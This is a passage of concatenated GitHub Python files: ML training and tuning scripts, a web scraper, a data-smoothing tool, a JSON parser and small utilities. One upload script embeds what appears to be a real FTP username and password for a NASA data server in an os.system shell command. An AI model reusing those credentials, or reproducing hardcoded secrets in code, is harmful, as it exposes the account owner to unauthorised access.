datetime.now().strftime(\"%m_%d_%Y_%H_%M_%S\")\n\n save_metrics_root = os.path.join(save_metrics_root,training_type, tune_experiment_name)\n save_checkpoints_root = os.path.join(save_checkpoints_root,training_type, tune_experiment_name)\n save_tb_root = os.path.join(save_tb_root, training_type, tune_experiment_name)\n\n\n\n experiment_dirs = [save_metrics_root, save_checkpoints_root, save_tb_root, save_tune_root]\n # create the directories\n for _dir in experiment_dirs:\n if not os.path.exists(_dir):\n os.makedirs(_dir)\n # return\n k_fold_list = [i for i in range(n_k_folds)]\n tune_config = {\n \"HP_COMB\": tune.grid_search(aug_folder_combinations),\n # \"HP_COMB\": aug_folder_combinations[0],\n 'must_remove_normal' : must_remove_normal,\n \"epochs\": epochs,\n \"save_metrics_root\": save_metrics_root,\n \"save_checkpoints_root\": save_checkpoints_root,\n \"save_tb_root\": save_tb_root,\n \"dataset_root\": dataset_root,\n \"dataset_name\": dataset_name,\n \"dataset_csv_name\": dataset_csv_name,\n \"aug_root\": aug_root,\n \"aug_csv\": aug_csv,\n \"train_subject_number\" : train_subject_number,\n \"test_subject_number\" : test_subject_number,\n \"get_train_frame_func\": get_train_frame_func,\n \"get_protocol_frame_dic_func\": get_protocol_frame_dic_func,\n 'is_ray': is_ray,\n 'get_stratified_name_col_func': get_stratified_name_col_func,\n 'process_dataset_metrics_func': process_dataset_metrics_func,\n 'stratified_name_list_func': stratified_name_list_func,\n 'n_folds' : n_k_folds,\n 'current_fold': tune.grid_search(k_fold_list),\n 'HP_REPEAT': tune.grid_search(repeat_run_list),\n 'original_dataset_root': original_dataset_root,\n 'use_last_only': use_last_only,\n 'include_traditional_aug':include_traditional_aug,\n 'aug_after_split':aug_after_split,\n 'mode_info': mode_info,\n 'must_use_normal_only': must_use_normal_only,\n 'use_hsv': use_hsv,\n }\n\n if aug_percentages is None:\n tune_config[\"HP_AUG_PER\"] = tune.grid_search([0])\n else:\n tune_config[\"HP_AUG_PER\"] = tune.grid_search(aug_percentages)\n\n if is_ray:\n if error_only:\n analysis = tune.run(antispoof, config=tune_config, local_dir=save_tune_root, name=tune_experiment_name,\n resources_per_trial={\"cpu\": tune_cpu, \"gpu\": tune_gpu}, resume=\"ERRORED_ONLY\")\n else:\n analysis = tune.run(antispoof, config=tune_config, local_dir=save_tune_root, name=tune_experiment_name,\n resources_per_trial={\"cpu\": tune_cpu, \"gpu\": tune_gpu}, resume=\"AUTO\")\n df = analysis.results_df\n df.to_csv(os.path.join(save_tune_root,tune_experiment_name, tune_antispoof_csv))\n process_dataset_metrics_func(df, os.path.join(save_tune_root,tune_experiment_name))\n else:\n if aug_percentages is None:\n aug_per = 0\n else:\n aug_per = aug_percentages[0]\n for combination in aug_folder_combinations:\n antispoof({\n \"HP_COMB\": combination,\n 'must_remove_normal':must_remove_normal,\n \"epochs\": epochs,\n \"save_metrics_root\": save_metrics_root,\n \"save_checkpoints_root\": save_checkpoints_root,\n \"save_tb_root\": save_tb_root,\n \"dataset_root\": dataset_root,\n \"dataset_name\": dataset_name,\n \"dataset_csv_name\": dataset_csv_name,\n \"aug_root\": aug_root,\n \"aug_csv\": aug_csv,\n \"train_subject_number\" : train_subject_number,\n \"test_subject_number\" : test_subject_number,\n \"get_train_frame_func\": get_train_frame_func,\n \"get_protocol_frame_dic_func\": get_protocol_frame_dic_func,\n \"stratified_name_list_func\": stratified_name_list_func,\n \"HP_AUG_PER\": aug_per,\n \"HP_REPEAT\": 1,\n 'is_ray' : is_ray,\n 'get_stratified_name_col_func': get_stratified_name_col_func,\n 'process_dataset_metrics_func': process_dataset_metrics_func,\n 'n_folds' : n_k_folds,\n 'current_fold' : k_fold_list[0],\n 'original_dataset_root': original_dataset_root,\n 'use_last_only': use_last_only,\n 'include_traditional_aug': include_traditional_aug,\n 'aug_after_split': aug_after_split,\n 'mode_info':mode_info,\n 'must_use_normal_only': must_use_normal_only,\n 'use_hsv': use_hsv,\n\n })\n\n\n\n\n\n","repo_name":"Jayz-o/OrfaoDissertation","sub_path":"Antispoofing/AntispoofHelpers/hyper_perameter_helper.py","file_name":"hyper_perameter_helper.py","file_ext":"py","file_size_in_byte":23004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11192075287","text":"#!/usr/bin/python3\n\n# lftp impacts@ghrc.nsstc.nasa.gov\n# cd goes16-2023/Mesoscale-1\n# lcd /home/disk/bob/impacts/raw/goes16/Mesoscale-1\n# mirror -R\n\nimport os\n\ninDirBase = '/home/disk/bob/impacts/daac/WRF'\n\nfor init in os.listdir(inDirBase):\n if (init.startswith('GFS') or init.startswith('NAM') ) and os.path.isdir(inDirBase+'/'+init):\n initDir = inDirBase+'/'+init\n for date in os.listdir(initDir):\n if date.startswith('202') and os.path.isdir(initDir+'/'+date):\n dateDir = initDir+'/'+date\n os.chdir(dateDir)\n command = 'lftp -c \"open ftp://impacts:snowfallATLANTIC2020\\!@ghrc.nsstc.nasa.gov; cd wrf-2023; cd '+init+'; cd '+date+'; mirror -R\"'\n os.system(command)\n","repo_name":"srbrodzik/impacts-scripts","sub_path":"lftp_to_daac_wrf.py","file_name":"lftp_to_daac_wrf.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31340210251","text":"#!/usr/bin/env python3\n\n#********* data analysis functions *********#\n# transform data to a smooth curve\n# 1. fitting: use least-square curve fitting\n# 2. smooth_SG: smooth curve by locally fitting\n# 3. smooth_AA: sum[i-hw:i+hw] or running avg\n\ndef func_fitted(x, a, b, c): # fitting curves\n return a + b * x**c\ndef fitting(x, y):\n import scipy.optimize as opt\n return opt.curve_fit(func_fitted, x, y, guess0)[0]\n\ndef smooth_SG(x, pwin=41, pord=2): # smooth data by Savitzky-Golay\n from scipy.signal import savgol_filter\n return savgol_filter(x, pwin, pord)\n\ndef smooth_AA(x, pwin=41): # smooth data by adjacent averaging\n import numpy\n hw= int(pwin/2.0) # half window\n smoothed= []\n for i in range(len(x)):\n smoothed.extend(numpy.mean(x[max(0, i-hw):min(len(x), i+hw+1)]))\n return smoothed\n#####***** data analysis functions *****#####\n\nfrom sys import argv\nfrom os.path import isfile\n\nif len(argv) != 2 and len(argv) != 3:\n print(\"\\nSmooth curve by Savitzky-Golay or adjacent averaging\")\n exit(\"Usage: %s name(optional)\\n\" % argv[0])\n\n# input parameters\nN_col= input(\"Insert number of columns\\n\")\ndata= []\nfor i in range(int(N_col)): data.append([])\n\nin_isc= input(\"Do you need chop vacuum data (rm zeros)? (yes/no)\\n\")\nif in_isc==\"yes\": is_chop= True\nelse: is_chop= False\n\nin_pwin= input(\"Insert number of points of window (dafault:41)\\n\")\nif in_pwin.isdigit(): N_pwin= int(in_pwin)\nelse: N_pwin= 41\n\n# open output file\nname_out= \"out\"\nif len(argv)==3: name_out= name_out + argv[2]\nOFILE= open(name_out, \"w\")\n\n# read\nif not isfile(argv[1]): exit(\"%s doesn\\'t exist!\" % argv[1])\nwith open(argv[1], \"r\") as IFILE: # Reading his file\n for line in IFILE:\n indata = line.strip().split()\n for i in range(len(data)):\n data[i].append(float(indata[i]))\n\n#chop zero\nTOL_BOUND= 0.05 # smaller than this considerd vacuum\nleft= -1; right= len(data[-1]) \nfor i in range(len(data[-1])):\n if data[-1][i]>TOL_BOUND: left = i; break\nfor i in range(len(data[-1])-1, -1, -1):\n if data[-1][i]>TOL_BOUND: right= i; break\n\n# calculate\nif is_chop:\n dataSM= [0]*left\n dataSM.extend(smooth_SG(data[-1][left:right+1], N_pwin))\n dataSM.extend([0]*(len(data[-1])-right-1))\nelse:\n dataSM= smooth_SG(data[-1], N_pwin)\n\nif len(dataSM) != len(data[0]): print(\"wrong dataSM: \", len(dataSM), len(data[0]))\n# output\nfor i in range(len(data[0])):\n for j in range(len(data)-1):\n print(data[j][i], end=\" \", file= OFILE)\n print(dataSM[i], file= OFILE)\n\n","repo_name":"skyhuang1208/kmctools_surface","sub_path":"data_smooth.py","file_name":"data_smooth.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2581388143","text":"from bs4 import BeautifulSoup\nimport requests\nfrom tqdm import tqdm\nimport csv\n\n\nURL = \"https://ignition.devpost.com/project-gallery\"\nN_PAGES = 21\nOUTER_CLASS = \"large-4 small-12 columns gallery-item\"\nINNER_CLASS = \"software-entry-name entry-body\"\nLINK_CLASS = \"block-wrapper-link fade link-to-software\"\nLIKE_CLASS = \"count like-count\"\nOUTFILE_HEADERS= ['name', 'url', 'likes', 'description']\n\npage_urls = []\nfor n in range(1,N_PAGES+1):\n page_urls.append(URL + f'?page={n}')\n\nnames = []\nurls = []\nlikes = []\ndescriptions = []\n\nprint('scraping project data...')\nfor _url in tqdm(page_urls):\n page = requests.get(_url).content\n soup = BeautifulSoup(page, 'html.parser')\n entries = soup.find_all(class_=OUTER_CLASS)\n\n for entry in entries:\n data = entry.find(class_=LINK_CLASS)\n\n urls.append(data.get('href'))\n likes.append(int(data.footer.find(class_=LIKE_CLASS).get_text().strip(' \\n')))\n names.append(data.find(class_=INNER_CLASS).h5.get_text().strip(' \\n'))\n descriptions.append(data.find(class_=INNER_CLASS).p.get_text().strip(' \\n'))\n\n# -- debugging --\n# print(names)\n# print(urls)\n# print(likes)\n# print(descriptions)\n\nproject_data = set(zip(names, urls, likes, descriptions))\n# print(project_data)\n\nprint('saving data to csv...')\nwith open('projects.csv','w') as out:\n csv_out = csv.writer(out)\n csv_out.writerow(OUTFILE_HEADERS)\n for row in tqdm(list(project_data)):\n csv_out.writerow(row)\n\nprint('done!')\n\n\n\n\n","repo_name":"jeremyongws/ignition-scrape","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20978384141","text":"import json\nimport jsonschema\nfrom jsonschema import validate\n\n\nclass JsonProcessing:\n \"\"\"\n A class to represent a data file JSON.\n \"\"\"\n def __init__(self, json_content):\n self.json_content = json_content\n\n def validate(self):\n \"\"\"\n Checks if the json file matches the pattern in the \"schema.json\" file.\n :param: JSON file\n :return: (bool) True or False\n \"\"\"\n json_data = self.json_content\n\n with open('schema.json', 'r') as scheme:\n googleapis_schema = json.load(scheme)\n try:\n validate(instance=json_data, schema=googleapis_schema)\n except jsonschema.exceptions.ValidationError:\n return False\n return True\n\n def parse_and_extract(self):\n \"\"\"\n Parse JSON content from www.googleapis.com/books/v1/volumes and extracts relevant data.\n :param: JSON content\n :return parsed_data: a list of volumes\n \"\"\"\n list_of_volume_info = []\n for item in self.json_content['items']:\n auxiliary_list = []\n for info in item:\n if info == 'volumeInfo' or info == 'id':\n auxiliary_list.append(item[info])\n\n auxiliary_list[1]['bookid'] = auxiliary_list[0]\n list_of_volume_info.append(auxiliary_list[1])\n\n searched_information = [\"title\", \"authors\", \"published_date\", \"categories\",\n \"average_rating\", \"ratings_count\", \"thumbnail\", \"bookid\"]\n\n extracted_data = []\n for raw_information in list_of_volume_info:\n needed_info = {}\n for info in raw_information:\n\n if info in searched_information:\n needed_info[info] = raw_information[info]\n elif info == \"imageLinks\":\n needed_info[\"thumbnail\"] = raw_information[info][\"thumbnail\"]\n elif info in [\"publishedDate\", \"averageRating\", \"ratingsCount\"]:\n for char in info:\n if char != char.lower():\n needed_info[info.replace(char, \"_\"+char.lower())] = raw_information[info]\n\n extracted_data.append(needed_info)\n\n parsed_data = []\n for book in extracted_data:\n parsed_data.append(self.add_missing_info(book, searched_information))\n return parsed_data\n\n @staticmethod\n def add_missing_info(book_information, searched_information):\n \"\"\"\n parse_and_extract() helper.\n \"\"\"\n for info in searched_information:\n if info not in book_information:\n if info in ['average_rating', 'ratings_count']:\n book_information[info] = None\n elif info in ['authors', 'categories']:\n book_information[info] = []\n else:\n book_information[info] = \"\"\n\n return book_information\n","repo_name":"czesky90/books-rest-api","sub_path":"app/json_processing.py","file_name":"json_processing.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12858715895","text":"#!/usr/bin/env python3\r\n\r\n#splitting the numbers at a space; specifically said to separate with a space for user clarity.\r\nnum1, num2 = input(\"Please enter two numbers and separate them with a space. \").split()\r\n\r\n#converting to integers\r\nnum1 = (int(num1))\r\nnum2 = (int(num2))\r\n\r\n#printing out numbers to make sure user knows what they entered.\r\nprint(\"First number: \" + str(num1))\r\nprint(\"Second number: \" + str(num2))\r\n#function to do calculations so it can be called\r\ndef numbercheck():\r\n a = num1 % 3\r\n if a == 0:\r\n print(\"The first number is divisible by three \" + str((num1/3)) + \" times.\")\r\n else:\r\n print(\"The first number is NOT divisible by three.\")\r\n\r\n b = num2 % 3\r\n if a == 0:\r\n print(\"The second number is divisible by three \" + str(round((num2/3), 1)) + \" times.\")\r\n else:\r\n print(\"The second number is NOT divisible by three.\")\r\n\r\nnumbercheck()","repo_name":"sophtank/binf-2111","sub_path":"lab10/q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74188693387","text":"#!/usr/bin/env python\n\n# distance between two atoms\n# input the two coordinates[x,y,z]\ndef distance(coord1, coord2):\n dist = 0.0\n for i in range(3):\n dist += (coord1[i] - coord2[i])**2.0\n dist = dist**0.5\n return dist\n\n# geometric center of a molecule\n# input the coordinates [[x1,y1,z1], [x2,y2,z2], ...]\ndef geom_center(coord):\n geocent = [0.0, 0.0, 0.0]\n leng = len(coord)\n for i in range(leng):\n for j in range(3):\n geocent[j] += coord[i][j]/leng\n return geocent\n","repo_name":"yang2076/AMOEBA_Seminario","sub_path":"src/geomFunction.py","file_name":"geomFunction.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38118200643","text":"# coding=UTF-8\nimport torch as t\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.utils.data as dataloader \nimport torch.optim as optim\nimport pickle\nimport random\nimport numpy as np\nimport time\nimport dgl\nfrom dgl import DGLGraph\nimport scipy.sparse as sp\nfrom scipy.sparse import csr_matrix\nimport argparse\nimport os\n\nfrom ToolScripts.TimeLogger import log\nfrom ToolScripts.tools import sparse_mx_to_torch_sparse_tensor\nfrom Interface.BPRData import BPRData \nimport Interface.evaluate as evaluate\nfrom model import MODEL\nfrom MV_MIL.informax import Informax\n\nmodelUTCStr = str(int(time.time()))\ndevice_gpu = t.device(\"cuda\")\n\n\nisLoadModel = False\nLOAD_MODEL_PATH = r\"SR-HAN_Yelp_1599990303_hide_dim_8_layer_dim_[8,8,8]_lr_0.05_reg_0.02_topK_10_lambda1_0_lambda2_0\"\n\n\nclass Hope():\n def __init__(self,args,data,metaPath,subGraph):\n self.args = args \n self.metaPath = metaPath\n\n #train data and test data\n trainMat, testData, _, _, _ = data\n self.userNum, self.itemNum = trainMat.shape\n train_coo = trainMat.tocoo()\n train_u, train_v, train_r = train_coo.row, train_coo.col, train_coo.data\n assert np.sum(train_r == 0) == 0\n train_data = np.hstack((train_u.reshape(-1,1),train_v.reshape(-1,1))).tolist()#//(u,v)list\n test_data = testData\n \n train_dataset = BPRData(train_data, self.itemNum, trainMat, 1, True) #num_negtive samples\n test_dataset = BPRData(test_data, self.itemNum, trainMat, 0, False)\n self.train_loader = dataloader.DataLoader(train_dataset, batch_size=self.args.batch, shuffle=True, num_workers=0) \n self.test_loader = dataloader.DataLoader(test_dataset, batch_size=1024*1000, shuffle=False,num_workers=0) #test batch=1024\n\n #user metaPath: UU UIU UITIU ITI IUI\n self.uu_graph = dgl.graph(self.metaPath['UU'], ntype='user', etype='social')\n self.uiu_graph = dgl.graph(self.metaPath['UIU'], ntype='user', etype='rating')\n self.uitiu_graph = dgl.graph(self.metaPath['UITIU'], ntype='user', etype='rating') \n # self.user_graph =[self.uu_graph, self.uiu_graph, self.uitiu_graph] #7 cases\n\n #item metapath IUI ITI\n self.iti_graph = dgl.graph(self.metaPath['ITI'], ntype='item', etype='category')\n self.iui_graph = dgl.graph(self.metaPath['IUI'], ntype='item', etype='raitng')\n # self.item_graph =[self.iui_graph, self.iti_graph] #3 cases\n \n #according args to append metapath graph to user graph or item graph\n self.graph_dict={}\n self.graph_dict['uu']=self.uu_graph\n self.graph_dict['uiu']=self.uiu_graph\n self.graph_dict['uitiu']=self.uitiu_graph\n self.graph_dict['iui']=self.iui_graph\n self.graph_dict['iti']=self.iti_graph\n\n print(\"user metaPath: \"+self.args.user_graph_indx)\n user_graph_list = self.args.user_graph_indx.split('_')\n self.user_graph = []\n for i in range(len(user_graph_list)):\n self.user_graph.append(self.graph_dict[user_graph_list[i]])\n\n print(\"item metaPath: \"+self.args.item_graph_indx)\n item_graph_list = self.args.item_graph_indx.split('_')\n self.item_graph = []\n for i in range(len(item_graph_list)):\n self.item_graph.append(self.graph_dict[item_graph_list[i]])\n del self.graph_dict, self.uu_graph, self.uiu_graph, self.uitiu_graph, self.iui_graph, self.iti_graph\n \n #informax\n if self.args.informax == 1:\n (self.ui_graphAdj,self.ui_subGraphAdj) = subGraph\n self.ui_subGraphAdj_Tensor = sparse_mx_to_torch_sparse_tensor(self.ui_subGraphAdj).cuda()\n self.ui_subGraphAdj_Norm =t.from_numpy(np.sum(self.ui_subGraphAdj,axis=1)).float().cuda()\n self.ui_graph = DGLGraph(self.ui_graphAdj)\n\n #data for plot \n self.train_losses = []\n self.test_hr = []\n self.test_ndcg = []\n \n def prepareModel(self):\n np.random.seed(args.seed)\n t.manual_seed(args.seed)\n t.cuda.manual_seed(args.seed)\n random.seed(args.seed)\n self.out_dim = self.args.hide_dim + sum(eval(self.args.layer_dim))\n #metapath encoder model\n self.model = MODEL(len(self.user_graph),\n len(self.item_graph),\n self.userNum,\n self.itemNum,\n self.args.hide_dim,\n eval(self.args.layer_dim)).cuda()\n #informax\n if self.args.informax == 1:\n if self.args.informax_graph_act == 'sigmoid':\n informaxGraphAct = nn.Sigmoid()\n elif self.args.informax_graph_act == 'tanh':\n informaxGraphAct = nn.Tanh()\n print('informax graph-level Act funciton: '+self.args.informax_graph_act )\n self.ui_informax = Informax(self.ui_graph,self.out_dim, self.out_dim, nn.PReLU(), informaxGraphAct,self.ui_graphAdj).cuda()\n self.opt = optim.Adam([\n {'params':self.model.parameters(),'weight_decay':0},\n {'params':self.ui_informax.parameters(),'weight_decay':0},\n ],lr=self.args.lr)\n else:\n self.opt = optim.Adam(self.model.parameters(),lr=self.args.lr)\n\n def predictModel(self,user, pos_i, neg_j, isTest=False):\n if isTest:\n pred_pos = t.sum(user * pos_i, dim=1)\n return pred_pos\n else:\n pred_pos = t.sum(user * pos_i, dim=1)\n pred_neg = t.sum(user * neg_j, dim=1)\n return pred_pos, pred_neg\n\n def adjust_learning_rate(self):\n # lr = self.lr * (self.args.decay**epoch)\n if self.opt != None:\n for param_group in self.opt.param_groups:\n param_group['lr'] = max(param_group['lr'] * self.args.decay, self.args.minlr)\n # print(param_group['lr'])\n\n def getModelName(self):\n title = \"SR-HAN\" + \"_\"\n ModelName = title + self.args.dataset + \"_\" + modelUTCStr +\\\n \"_hide_dim_\" + str(self.args.hide_dim) +\\\n \"_layer_dim_\" + str(self.args.layer_dim) +\\\n \"_lr_\" + str(self.args.lr) +\\\n \"_reg_\" + str(self.args.reg) +\\\n \"_topK_\" + str(self.args.topk) +\\\n \"_graph_\" + str(self.args.user_graph_indx) +\"_\"+ str(self.args.item_graph_indx) +\\\n \"_useInformax_\" + str(self.args.informax) +\\\n \"_\"+str(self.args.k_hop_num) + \"hopSubGraph\"+\\\n \"_lambda1_\" + str(self.args.lambda1) +\\\n \"_lambda2_\" + str(self.args.lambda2)\n return ModelName\n\n def saveHistory(self): \n history = dict()\n history['loss'] = self.train_losses\n history['hr'] = self.test_hr\n history['ndcg'] = self.test_ndcg\n ModelName = self.getModelName()\n\n with open(r'./History/' + dataset + r'/' + ModelName + '.his', 'wb') as fs:\n pickle.dump(history, fs)\n\n def saveModel(self): \n ModelName = self.getModelName()\n history = dict()\n history['loss'] = self.train_losses\n history['hr'] = self.test_hr\n history['ndcg'] = self.test_ndcg\n savePath = r'./Model/' + dataset + r'/' + ModelName + r'.pth'\n params = {\n 'model': self.model,\n 'epoch': self.curEpoch,\n 'args': self.args,\n 'opt': self.opt,\n 'history':history\n }\n t.save(params, savePath)\n log(\"save model : \" + ModelName)\n\n def loadModel(self, modelPath):\n checkpoint = t.load(r'./Model/' + dataset + r'/' + modelPath + r'.pth')\n self.curEpoch = checkpoint['epoch'] + 1\n self.model = checkpoint['model']\n self.args = checkpoint['args']\n self.opt = checkpoint['opt']\n\n history = checkpoint['history']\n self.train_losses = history['loss']\n self.test_hr = history['hr']\n self.test_ndcg = history['ndcg']\n log(\"load model %s in epoch %d\"%(modelPath, checkpoint['epoch']))\n\n def trainModel(self):\n epoch_loss = 0\n epoch_informax_loss=0\n self.train_loader.dataset.ng_sample() \n for user, item_i, item_j in self.train_loader: \n ##a batch\n bpr_loss = 0\n\n user = user.long().cuda() \n item_i =item_i.long().cuda()\n item_j = item_j.long().cuda()\n self.userEmbed,self.itemEmbed = self.model(self.user_graph, self.item_graph)\n\n #predict\n pred_pos, pred_neg = self.predictModel(self.userEmbed[user], self.itemEmbed[item_i], self.itemEmbed[item_j])\n bprloss = -(pred_pos.view(-1) - pred_neg.view(-1)).sigmoid().log().sum()\n bpr_loss += bprloss\n \n epoch_loss += bpr_loss.item()\n regLoss=(t.norm(self.userEmbed[user])**2+t.norm(self.itemEmbed[item_i])**2+t.norm(self.itemEmbed[item_j])**2) \n loss = 0.5*(bpr_loss + regLoss*self.args.reg)/self.args.batch\n\n #DGIloss \n if self.args.informax == 1:\n ui_informax_loss = 0\n self.allEmbed = t.cat([self.userEmbed,self.itemEmbed],dim=0) \n if self.args.lambda1 != 0 or self.args.lambda2 != 0:\n res = self.ui_informax(self.allEmbed, self.ui_subGraphAdj, self.ui_subGraphAdj_Tensor,self.ui_subGraphAdj_Norm)\n Mask = t.zeros((self.userNum+self.itemNum)).cuda()\n Mask[user]=1\n Mask[self.userNum+item_i] = 1\n Mask[self.userNum+item_j] = 1\n informax_loss = self.args.lambda1*(((Mask*res[0]).sum()+(Mask*res[1]).sum())/t.sum(Mask))\\\n +self.args.lambda2*(((Mask*res[2]).sum()+(Mask*res[3]).sum())/t.sum(Mask)+res[4])\n epoch_informax_loss += informax_loss.item()\n loss = loss + informax_loss \n self.opt.zero_grad()\n loss.backward()\n self.opt.step()\n return epoch_loss \n\n def testModel(self):\n HR=[]\n NDCG=[]\n with t.no_grad():\n self.userEmbed,self.itemEmbed = self.model(self.user_graph, self.item_graph)\n\n for test_u, test_i in self.test_loader:\n test_u = test_u.long().cuda()\n test_i = test_i.long().cuda()\n pred = self.predictModel(self.userEmbed[test_u], self.itemEmbed[test_i], None, isTest=True)\n batch = int(test_u.cpu().numpy().size/100)\n for i in range(batch):\n batch_socres=pred[i*100:(i+1)*100].view(-1)\n _,indices=t.topk(batch_socres,self.args.topk) \n tmp_item_i=test_i[i*100:(i+1)*100]\n recommends=t.take(tmp_item_i,indices).cpu().numpy().tolist()\n gt_item=tmp_item_i[0].item()\n HR.append(evaluate.hit(gt_item,recommends))\n NDCG.append(evaluate.ndcg(gt_item,recommends))\n return np.mean(HR),np.mean(NDCG)\n\n def run(self):\n self.prepareModel()\n if isLoadModel:\n self.loadModel(LOAD_MODEL_PATH)\n HR,NDCG = self.testModel()\n log(\"HR@10=%.4f, NDCG@10=%.4f\"%(HR, NDCG))\n return \n \n loss = 0\n self.curEpoch = 0\n best_hr=-1\n best_ndcg=-1\n best_epoch=-1\n\n wait=0\n\n for e in range(args.epochs+1):\n self.curEpoch = e\n #train\n log(\"**************************************************************\")\n epoch_loss = self.trainModel()\n self.train_losses.append(epoch_loss)\n log(\"epoch %d/%d, epoch_loss=%.2f\"%(e, args.epochs, epoch_loss))\n\n #test\n HR, NDCG = self.testModel()\n self.test_hr.append(HR)\n self.test_ndcg.append(NDCG)\n log(\"epoch %d/%d, HR@10=%.4f, NDCG@10=%.4f\"%(e, args.epochs, HR, NDCG))\n\n self.adjust_learning_rate() \n if HR>best_hr:\n best_hr,best_ndcg,best_epoch=HR,NDCG,e\n wait=0\n self.saveModel()\n else:\n wait+=1\n print('wait=%d'%(wait))\n \n self.saveHistory()\n if wait==self.args.patience:\n log('Early stop! best epoch = %d'%(best_epoch))\n self.loadModel(self.getModelName())\n break\n\n print(\"*****************************\")\n log(\"best epoch = %d, HR= %.4f, NDCG=%.4f\"% (best_epoch,best_hr,best_ndcg)) \n print(\"*****************************\") \n print(self.args)\n log(\"model name : %s\"%(self.getModelName()))\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='SR-HAN main.py')\n parser.add_argument('--dataset', type=str, default='CiaoDVD')\n parser.add_argument('--batch', type=int, default=8192, metavar='N', help='input batch size for training')\n parser.add_argument('--seed', type=int, default=29, metavar='int', help='random seed')\n parser.add_argument('--decay', type=float, default=0.97, metavar='LR_decay', help='decay')\n parser.add_argument('--lr', type=float, default=0.05, metavar='LR', help='learning rate')\n parser.add_argument('--minlr', type=float,default=0.0001)\n parser.add_argument('--reg', type=float, default=0.05) \n parser.add_argument('--epochs', type=int, default=400, metavar='N', help='number of epochs to train')\n parser.add_argument('--patience', type=int, default=5, metavar='int', help='early stop patience')\n parser.add_argument('--topk', type=int, default=10)\n parser.add_argument('--hide_dim', type=int, default=16, metavar='N', help='embedding size')\n parser.add_argument('--layer_dim',nargs='?', default='[16]', help='Output size of every layer') \n parser.add_argument('--user_graph_indx', nargs=r\"?\", default=\"uu_uiu_uitiu\", help='user graph')\n parser.add_argument('--item_graph_indx', nargs=r\"?\", default=\"iui_iti\", help='item graph')\n parser.add_argument('--gcn_act', default='prelu',help='metaPath gcn activation function')\n #informax\n parser.add_argument('--informax', type=int, default=1, help=\"whether use informax model block\")\n parser.add_argument('--informax_graph_act',default='sigmoid',help='informax graph activation function')\n parser.add_argument('--lambda1', type=float, default=0.06, help='weight of loss with informax')\n parser.add_argument('--lambda2', type=float, default=0.002, help='weight of loss with informax')\n parser.add_argument('--k_hop_num',type=int,default=2,help='k-hop of subgraph')\n\n args = parser.parse_args()\n print(args)\n dataset = args.dataset\n\n with open(r'dataset/'+args.dataset+'/metaPath.pkl', 'rb') as fs:\n metaPath = pickle.load(fs)\n with open(r'dataset/'+args.dataset+'/data.pkl', 'rb') as fs:\n data = pickle.load(fs)\n\n subGraphPath=r'dataset/'+args.dataset+'/'+str(args.k_hop_num)+'hop_ui_subGraph.pkl'\n if not os.path.exists(subGraphPath):\n print('please run '+'dataset/'+args.dataset+'/GenerateSubGraph.py first!')\n exit()\n else: \n with open(subGraphPath,'rb') as fs:\n subGraph = pickle.load(fs)\n hope = Hope(args,data,metaPath,subGraph)\n\n modelName = hope.getModelName()\n print('ModelName = ' + modelName) \n hope.run()\n \n\n \n\n \n\n","repo_name":"SocialRecsys/SMIN","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15328,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"} +{"seq_id":"71528954187","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nimport pickle\nfrom tqdm import tqdm\nfrom boneik import kinematics, solvers, utils, draw, criteria, io\nfrom boneik import bvh\n\n\ndef create_human_body() -> kinematics.Body:\n b = kinematics.BodyBuilder()\n b.add_bone(\n \"torso\",\n \"chest\",\n tip_to_base=utils.make_tip_to_base(1.17965, \"-x,z,y\"),\n dofs={\"rx\": np.deg2rad([-10.0, 90.0])},\n ).add_bone(\n \"chest\",\n \"neck\",\n tip_to_base=utils.make_tip_to_base(2.0279, \"x,y,z\"),\n dofs={\"ry\": np.deg2rad([-90.0, 90.0])},\n ).add_bone(\n \"neck\",\n \"head\",\n tip_to_base=utils.make_tip_to_base(0.73577, \"-x,y,-z\"),\n ).add_bone(\n \"neck\",\n \"shoulder.L\",\n tip_to_base=utils.make_tip_to_base(0.71612, \"-z,-x,y\"),\n ).add_bone(\n \"shoulder.L\",\n \"elbow.L\",\n tip_to_base=utils.make_tip_to_base(1.8189, \"x,y,z\"),\n dofs={\n \"rx\": np.deg2rad([-90.0, 30.0]),\n \"ry\": np.deg2rad([-90.0, 90.0]),\n \"rz\": np.deg2rad([-90.0, 90.0]),\n },\n ).add_bone(\n \"elbow.L\",\n \"hand.L\",\n tip_to_base=utils.make_tip_to_base(1.1908, \"x,y,z\"),\n dofs={\"rz\": np.deg2rad([-135.0, 0.0])},\n ).add_bone(\n \"neck\",\n \"shoulder.R\",\n tip_to_base=utils.make_tip_to_base(0.71612, \"z,x,y\"),\n ).add_bone(\n \"shoulder.R\",\n \"elbow.R\",\n tip_to_base=utils.make_tip_to_base(1.8189, \"x,y,z\"),\n dofs={\n \"rx\": np.deg2rad([-90.0, 30.0]),\n \"ry\": np.deg2rad([-90.0, 90.0]),\n \"rz\": np.deg2rad([-90.0, 90.0]),\n },\n ).add_bone(\n \"elbow.R\",\n \"hand.R\",\n tip_to_base=utils.make_tip_to_base(1.1908, \"x,y,z\"),\n dofs={\"rz\": np.deg2rad([0.0, 135.0])},\n ).add_bone(\n \"torso\",\n \"hip.L\",\n tip_to_base=utils.make_tip_to_base(1.1542, \"-y,x,z\"),\n ).add_bone(\n \"hip.L\",\n \"knee.L\",\n tip_to_base=utils.make_tip_to_base(2.2245, \"x,-z,y\"),\n dofs={\n \"rx\": 